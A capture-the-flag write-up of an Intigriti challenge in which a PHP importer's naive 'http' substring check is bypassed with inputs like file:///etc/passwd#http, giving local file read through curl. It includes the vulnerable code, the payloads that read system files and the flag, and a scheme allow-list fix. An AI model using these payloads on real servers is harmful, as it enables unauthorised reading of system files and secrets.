Intigriti Challenge 1025 - SSRF -> LFI Writeup
Author: kutaysec - Platform: Intigriti - Tier: 2
Description
The challenge hosted at
https://challenge-1025.intigriti.io/challenge.php
provides a simple importer interface that fetches a remote resource from a user-supplied URL.
A quick look at the source shows a naive validation step that checks whether the string http appears in the parameter, then directly passes it to curl_init().
This pattern allows a crafted input to pass the check but still trigger a local file read through file://.
Goal: Read arbitrary files from the server and retrieve the flag.
Challenge Analysis
The vulnerable PHP snippet looked like this:
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (stripos($url, 'http') === false) {
die("Invalid URL: must include 'http'");
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo htmlspecialchars(curl_exec($ch));
}
The stripos() check simply searches for the substring http.
It does not validate the actual scheme, so any string containing http somewhere (like in a fragment) will bypass it.
Vulnerability
Because curl supports multiple schemes (http, https, file, ftp, ...), we can exploit the logic flaw by adding a fragment such as #http:
file:///etc/passwd#http
The condition stripos($url, 'http') !== false passes,
but curl still interprets the prefix file:// and reads local files.
Proof of Concept
- Initial test
GET /challenge.php?url=file%3A%2F%2F%2Fetc%2Fpasswd%23http
Decoded: file:///etc/passwd#http
-> Successfully returns the contents of /etc/passwd.
- Source code disclosure
file:///var/www/html/challenge.php#http
Reveals the PHP source and confirms the logic flaw.
- Flag retrieval
file:///proc/self/root/93e892fe-c0af-44a1-9308-5a58548abd98.txt#http
-> Displays:
INTIGRITI{...}
Impact
Arbitrary File Read (LFI via SSRF)
Attackers can access configuration files, source code, or secrets.
Potential escalation to RCE if writable files or sensitive tokens exist.
Mitigation
Use parse_url() and verify the scheme strictly:
$parts = parse_url($url);
if (!in_array(strtolower($parts['scheme'] ?? ''), ['http', 'https'])) {
die('Invalid URL');
}
- Implement an allow-list of domains if remote fetching is required.
- Disable
file://wrappers (allow_url_fopen=0orCURLOPT_PROTOCOLS). - Sanitize and log all user inputs before cURL requests.
Conclusion
The challenge demonstrates how superficial string checks create severe SSRF/LFI vulnerabilities.
By appending a harmless-looking fragment containing http, the attacker tricks the filter and makes curl read local files, ultimately exposing the flag.